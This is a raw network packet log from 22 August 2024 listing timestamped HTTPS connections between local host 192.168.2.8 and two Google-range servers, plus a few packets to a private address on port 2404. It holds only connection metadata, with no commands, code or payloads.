Aug 22, 2024 13:10:57.859563112 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:57.859622955 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.859857082 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:57.859869957 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.427722931 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.427814960 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.428527117 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.428534985 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.430331945 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.430336952 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.458493948 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.459773064 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.460279942 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.460285902 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.460489035 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.460495949 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.500335932 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.502449036 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.502995014 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.503005981 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.503180027 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.503185987 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.513360023 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.515810966 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.516206980 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.516213894 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.516437054 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.516443014 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.821595907 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.822043896 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.822138071 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.822355986 CEST	49865	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.822376966 CEST	443	49865	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.822952032 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.822981119 CEST	443	49868	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.823770046 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.824548006 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.824563026 CEST	443	49868	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.900474072 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.900543928 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.900641918 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.900651932 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.900680065 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.900702953 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.900787115 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.902077913 CEST	49866	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.902091980 CEST	443	49866	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.902630091 CEST	49869	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.902663946 CEST	443	49869	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.902735949 CEST	49869	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.902983904 CEST	49869	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:58.902997017 CEST	443	49869	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:58.906318903 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.906760931 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.906876087 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.907031059 CEST	49864	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.907053947 CEST	443	49864	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.907651901 CEST	49870	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.907675028 CEST	443	49870	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:58.909924984 CEST	49870	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.911781073 CEST	49870	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:58.911796093 CEST	443	49870	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.045795918 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.045872927 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.045958996 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.045983076 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.046014071 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.046081066 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.065992117 CEST	49867	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.066006899 CEST	443	49867	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.106940985 CEST	49871	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.106970072 CEST	443	49871	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.107064962 CEST	49871	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.111285925 CEST	49871	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.111300945 CEST	443	49871	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:59.472964048 CEST	443	49868	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.473042965 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.473530054 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.473537922 CEST	443	49868	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.473731995 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.473737955 CEST	443	49868	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.515420914 CEST	49869	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.515443087 CEST	49870	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.515532970 CEST	49871	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:59.515549898 CEST	49868	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.516525984 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.516565084 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.516633034 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.517237902 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.517254114 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.517755032 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.517771959 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:59.517822981 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.518435955 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:59.518448114 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.165957928 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.166086912 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.166785002 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.166907072 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.170372009 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.170382023 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.170619965 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.170680046 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.171211958 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.177544117 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.177635908 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.178390980 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.178473949 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.179891109 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.179896116 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.180160999 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.180227995 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.180557966 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.212506056 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.224507093 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.562376022 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.562448978 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.562531948 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.563257933 CEST	49874	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.563276052 CEST	443	49874	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.564071894 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:00.564131021 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:00.564202070 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:00.564547062 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.564591885 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.564681053 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.564743996 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:00.564759970 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:00.564893007 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.564908981 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.577374935 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.577450037 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.577460051 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.577513933 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.577575922 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.577625990 CEST	443	49873	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.577759027 CEST	49873	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.578202009 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.578228951 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.578305960 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.578532934 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:00.578547955 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:00.578757048 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:00.578799963 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:00.579272032 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:00.579508066 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:00.579519987 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.209255934 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.209345102 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.210057020 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.210124016 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.211958885 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.211968899 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.212219954 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.212272882 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.212696075 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.219813108 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.219902039 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.222862005 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.222876072 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.223021030 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.223093987 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.223242998 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.223313093 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.223663092 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.223876953 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.223927021 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.225322962 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.225330114 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.225595951 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.225644112 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.225977898 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.238382101 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.238464117 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.239711046 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.239722967 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.239959955 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.240030050 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.240263939 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.256509066 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.268501997 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.268505096 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.284507036 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.602699995 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.602823019 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.603565931 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.603621006 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.603621006 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.603661060 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.646265984 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.646315098 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.646414995 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.646433115 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.646465063 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.646500111 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.646706104 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.646755934 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.646770000 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.646812916 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.660509109 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.660542011 CEST	443	49878	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.660553932 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.660589933 CEST	49878	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.661384106 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.661406994 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.661464930 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.661770105 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.661784887 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.662780046 CEST	49877	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.662811995 CEST	443	49877	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.665277958 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.665308952 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.665376902 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.665991068 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.666001081 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.703366041 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.703444004 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.703458071 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.703500986 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.704139948 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.704181910 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.704185963 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.704229116 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.801285028 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.801340103 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.801367998 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.801402092 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.801415920 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.801445007 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.801450014 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.801476002 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.801491022 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.801517010 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.902695894 CEST	49879	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.902720928 CEST	443	49879	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.903364897 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.903393984 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.903459072 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.903656960 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:01.903670073 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:01.907726049 CEST	49880	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.907753944 CEST	443	49880	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.910267115 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.910304070 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:01.910367012 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.911120892 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:01.911134958 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.307056904 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.307126045 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.307615995 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.307626009 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.307822943 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.307830095 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.320637941 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.320710897 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.321177959 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.321187973 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.323061943 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.323066950 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.544259071 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.544348001 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.544766903 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.544775963 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.544953108 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.544956923 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.550380945 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.550470114 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.550757885 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.550765991 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.550925970 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.550930977 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.732821941 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.732877016 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.732904911 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.732933998 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.732953072 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.732980967 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.732986927 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.733015060 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.733026028 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.733052969 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.733741999 CEST	49882	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.733760118 CEST	443	49882	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.812678099 CEST	49837	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:02.813153982 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.813220024 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.813523054 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.813618898 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.813700914 CEST	443	49881	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.813700914 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.813760042 CEST	49881	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.814269066 CEST	49886	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.814318895 CEST	443	49886	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.814378977 CEST	49886	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.814621925 CEST	49886	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.814634085 CEST	443	49886	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.814770937 CEST	49887	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.814794064 CEST	443	49887	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.814841032 CEST	49887	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.815028906 CEST	49887	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.815042973 CEST	443	49887	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.817568064 CEST	2404	49837	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:02.931514025 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.931683064 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.931694984 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.931742907 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.931798935 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.931840897 CEST	443	49883	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.931890011 CEST	49883	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.932372093 CEST	49888	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.932405949 CEST	443	49888	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.932478905 CEST	49888	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.932719946 CEST	49888	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:02.932734013 CEST	443	49888	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:02.989454985 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.989511013 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.989583969 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.989603996 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.989615917 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.989629984 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.989648104 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.989679098 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.990503073 CEST	49884	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.990519047 CEST	443	49884	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.991015911 CEST	49889	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.991060972 CEST	443	49889	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:02.991174936 CEST	49889	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.991357088 CEST	49889	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:02.991374016 CEST	443	49889	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:03.455635071 CEST	443	49886	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:03.455735922 CEST	49886	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:03.456221104 CEST	49886	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:03.456231117 CEST	443	49886	216.58.212.129	192.168.2.8
